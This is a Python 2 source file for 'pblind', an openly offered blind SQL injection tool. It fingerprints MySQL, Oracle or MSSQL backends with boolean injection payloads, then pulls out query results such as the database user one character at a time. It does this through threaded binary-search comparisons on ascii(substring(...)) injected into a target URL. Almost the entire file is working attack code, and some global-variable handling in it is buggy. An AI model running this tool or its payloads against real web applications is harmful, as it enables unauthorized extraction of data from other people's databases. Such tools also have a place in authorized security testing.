#!/usr/bin/env python2

# pblind: pathetic blind sql injector
# coded by Trompeti(vdiaz@edge-security.com)

# importaciones
import urllib2
import os
import threading
import thread
import getopt
import sys
from time import *

# definicion de clases
class AsincSearch(threading.Thread):
        def __init__(self, url,posicion , bd , idx):
            threading.Thread.__init__(self)        
            self.nUrl = url
            self.posicion = posicion
            self.bd = bd
            self.idx=idx
        
        def run(self):
            minimo = 1
            encontrado = 0
            maximo = 256
            while not(encontrado):
                medio = (maximo + minimo) /2    
                if self.bd=="MySQL": 
                    comparacion = "%20and%20ascii(lower(substring("+sentencia+","+str(self.posicion+1)+",1)))>"+str(medio)+urlEnd
                elif self.bd=="Oracle":
                    comparacion="%20and%20ascii(lower(substr("+sentencia+","+str(self.posicion+1)+",1)))>"+str(medio)+urlEnd
                else:  
                    comparacion = "%20and%20ascii(lower(substring("+sentencia+","+str(self.posicion+1)+",1)))>"+str(medio)+urlEnd
                
                if self.idx==1:
                    comparacion = ")" + comparacion
                elif self.idx==2:
                    comparacion = "'" + comparacion
                elif self.idx==3:
                    comparacion = "')" + comparacion 
                       
                if (compara(self.nUrl,comparacion)==0):
                    minimo = medio +1
                else:
                    maximo = medio                   
            
                if (maximo<=minimo):
                    encontrado = 1
                    cerrojo.acquire()
                    medio = (maximo + minimo) /2   
                    resultado[self.posicion] = str(medio)
                    cerrojo.release()
                
            
# definicion de funciones  
def compara(nUrl,nCheck):    
    ficheroRemoto=urllib2.urlopen(nUrl+nCheck)
    texto = ficheroRemoto.read()
    if (texto==textoRef):
	resCmd = 0
    else:
	resCmd = 1  
    return resCmd
    
# ------------ funcion MAIN ---------------
maxPosiciones =15
sentencia ="user"
url=""
urlEnd=""
bd=""
refUrl = ""
vulnerable=True
compDiff=False
textoRef=""
def banner():
	print "***************************"
	print "*Pblind Ver 1.0           *"
	print "*Coded by Vicente Diaz    *"
	print "*Edge-Security Research   *"
	print "*vdiaz@edge-security.com  *"
	print "***************************\n\n"

def ayuda():
    print "Usage: pblind [-n -b] iniUrl+injectHere+endUrl\n"
    print "  -n num : length of the expected result (1 thread for each position) "
    print "          <default 20>"
    print "  -b [Oracle,mysql,MsSQL] : if not specified, fingerprinting is performed\n"
    print "Example:\n"
    print "	pblind -b mysql \"http://localhost/sql.php?id=3+user()\""
    
    sys.exit(0)
    
def main():
    # parse command line options
    global maxPosiciones, sentencia, url
    banner()
    try:
        opts, args = getopt.getopt(sys.argv[1:], "n:b:")
    except getopt.error, msg:
        print msg
        sys.exit(2)
	
    if ((len(opts)>2) or (len(args)==0)):
	    ayuda()
    else:    
	try:
            urlTmp = args[0].split("+")
            url = urlTmp[0]
	    sentencia = urlTmp[1]
	    sentencia = sentencia.replace(' ','%20')
	    urlEnd = urlTmp[2]	
	except:
	    urlEnd = ""
	
	for o ,a in opts:
	    if o == "-n":
	        maxPosiciones = int(a)
	    if o == "-b":
			if a in ("Oracle","mysql","MsSQL"):
				bd= str(a)
			else:
				print ("Unkown specified DB. Performing fingerprinting")
    
if __name__ == "__main__":
    main()
    cerrojo = thread.allocate_lock()
    inicio = time()
   
    if (refUrl==""):
	    refUrl = url	

    try:
    	ficheroRemoto=urllib2.urlopen(refUrl)
        textoRef = ficheroRemoto.read()
    except:
		print "Url not reachable, check hostname or network connection."
		sys.exit(0)
	
    if vulnerable==False:
    	checkVuln = "%20and%201=1"
    	vulnerable = (compara(url,checkVuln,ficheroTest) == 0)    
    
    if vulnerable:
        print "\n[-] Url vulnerable!"
        BDChecks = ["%20and%20user()=user()",")%20and%20user()=user()","'%20and%20user()=user()","')%20and%20user()=user()"
                ,"%20and%20user||user=user||user",")%20and%20user||user=user||user","'%20and%20user||user=user||user"
                ,"')%20and%20user||user=user||user","%20and%20user+user=user+user","'%20and%20user+user=user+user",")%20and%20user+user=user+user","')%20and%20user+user=user+user"]
        idx = 0
        while bd=="" and idx<len(BDChecks):	 
            if (compara(url,BDChecks[idx])==0):
                if (idx<4):
                    bd = "mysql"
                elif (idx<8):
                    bd = "Oracle"
                    idx = idx - 4
                else:
                    bd = "MsSQL"
                    idx = idx - 8
            else:		
                idx = idx + 1
				
        if (bd=="mysql" or bd=="Oracle" or bd=="MsSQL"):
            # explotar mediante comparacion
            # 1 thread por posicion, busqueda dicotomica mediante la funcion ascii    
       	    print "Database:"+bd
            posicion = 0
            resultado = []
            flujos = []
            i = 0
            while i<maxPosiciones:
                resultado.append("")
                i = i + 1
            while posicion<maxPosiciones:
                flujos.append(AsincSearch(url,posicion,bd,idx))
		sleep(0.1)
                flujos[posicion].start()
                posicion = posicion + 1
            i = 0
            while i<maxPosiciones:             
                flujos[i].join()
                i = i + 1
            i = 0
            print "Result:"
            sys.stdout.write('\x1b[32m')
            while i<maxPosiciones:     
                try:
	       	    print chr(int(resultado[i])),
		except:
		    print ""
	        i = i + 1     
            print " Time: "+str(time()-inicio)
        else:   
            print "unknown data base"
        sys.stdout.write('\x1b[37m')
    else:
        print "url does not seem vulnerable ..."
